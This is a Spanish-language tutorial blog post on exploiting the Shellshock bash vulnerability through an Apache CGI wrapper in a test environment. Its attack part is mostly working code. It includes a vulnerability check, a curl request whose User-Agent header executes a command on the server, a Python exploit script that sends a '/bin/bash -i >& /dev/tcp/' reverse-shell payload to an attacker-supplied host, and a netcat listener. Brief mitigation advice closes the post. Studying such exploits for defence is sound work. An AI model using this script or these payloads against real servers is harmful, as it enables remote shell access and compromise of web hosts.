Como explotar la vulnerabilidad BashShock

Como muchos de vostros sabéis bash padece de una grave vulnerabilidad, esta consiste en la gestión incorrecta de las variables de entorno cuando se definen funciones en dichas variables, el problema radica en que bash sigue leyendo mas allá de la función permitiendo así la ejecución de código arbitrario.

En nuestro entorno de pruebas vamos a montar un servidor apache que ejecuta php mediante un wrapper encargado de la ejecución del interprete php, hay que destacar que este no es el único vector de ataque ya que muchos programas operan de forma similar siendo afectados del mismo modo, ssh, git por ejemplo podrían verse afectados.

Primero comprobamos si la versión de bash instalada es vulnerable o no:

env x=’() { :;}; echo vulnerable’ bash -c “echo this is a test”

vulnerable
this is a test

Si no fuesemos vulnerables:

this is a test

Como ejemplo utilizaremos Apache para servir una web mediante la ejecución de un cgi en bash.

El vhost es el siguiente:

vi /etc/apache2/vhosts.d/00_web.conf

Listen 80

<VirtualHost *:80>
    ServerName *
    ServerAdmin sys@sys.com
    DocumentRoot /var/www/web_pruebas
    DirectoryIndex index.php index.html index.htm
    ErrorLog "/var/log/apache2/web_pruebas_error.log"
    CustomLog /var/log/apache2/web_pruebas_access.log combined
    LogLevel debug
    SuexecUserGroup web_prueba web_prueba
    ScriptAlias /local-bin /var/www/bin/web_pruebas
    AddHandler application/x-httpd-php5 php
    Action application/x-httpd-php5 /local-bin/badbash.sh

    <Directory "/var/www/bin/web_pruebas">
            Options -Indexes ExecCGI
            Order allow,deny
            Allow from all
    </Directory>

    <Directory "/var/www/web_pruebas">
            Options -Indexes ExecCGI FollowSymLinks
            AllowOverride All
            Order allow,deny
            Allow from all
     </Directory>
</VirtualHost>

El script que actúa como cgi es el siguiente:

vi /var/www/bin/web_pruebas/badbash.sh

#!/bin/bash
export PHP_FCGI_CHILDREN=3
exec /var/www/bin/web_pruebas/php-cgi

Ahora con un inocente curl podemos realizar la petición:

curl -k -H ‘User-Agent: () { :;}; echo aa>/tmp/aa’ http://IP/index.php

En el servidor podemos comprobar que se ha generado el fichero con el contenido deseado en el servidor web:

ls -al /tmp/aa
-rw——- 1 web_prueba web_prueba 3 sep 25 15:10 /tmp/aa

cat /tmp/aa
aa

Lo que ha ocurrido es que la petición ha sido atendida por el cgi el cual guarda la variable User-Agent que es una función, como la versión de bash es vulnerable no deja de leer cuando termina la función({ :;} esta función no hace nada) y ejecuta el comando indicado.

Pero la fiesta no termina aquí, si nos lo curramos un poco mas podemos llegar a obtener shell con el usuario que ejecuta el vhost, para ello utilizaremos el siguiente script en python:

vi bashshoc.py

#! /usr/bin/python
import httplib,urllib,sys
if (len(sys.argv)<4):
        print "Usage: %s <host> <vulnerable CGI> <attackhost/PORT>" % sys.argv[0]
        print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
        exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
headers = {"Content-type": "application/x-www-form-urlencoded",  "test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data

En otra consola dejamos netcat a la escucha de la conexión(encima es una conexión reversa, genial!!):

nc -l -p 8080

Ahora lanzamos nuestro script:

python2.7 bashshock.py IP_SERVER /index.php NUESTRA_IP/8080

En este instante bang!! nos aparecerá una shell con los permisos del usuario del vhost en la consola donde teniamos el netcat a la escucha.

web_prueba@RX3 /var/www/bin/web_pruebas $

NOTA: El atacante estará limitado a este usuario ya que se configuró apache para que se ejecutase con suexec , si no fuese así se tendría acceso al resto de vhosts.

Una forma de evitar que nos abran la conexión por bash sería recompilándolo sin soporte para sockets, somo en Gentoo o instalando bash desde sus fuentes:

vi /etc/portage/package.use/bash

app-shells/bash -net

emerge app-shells/bash

De todos modos el atacante podría realizar el ataque en dos pasos, primero instalar algún software como netcat y luego realizando la conexión con dicho software en vez de bash o incluso mas sencillo, subir una webshell directamente.

Lo mas lógico es actualizar la versión de bash.

emerge -u app-shells/bash

NOTA: La última versión afectada por dicho bug es la 4.3!!

En este artículo hemos visto como algo que parecía no afectarnos puede llegar a comprometer nuestros sistemas de forma grave, así que mantened SIEMPRE vuestros sistemas operativos actualizados ;)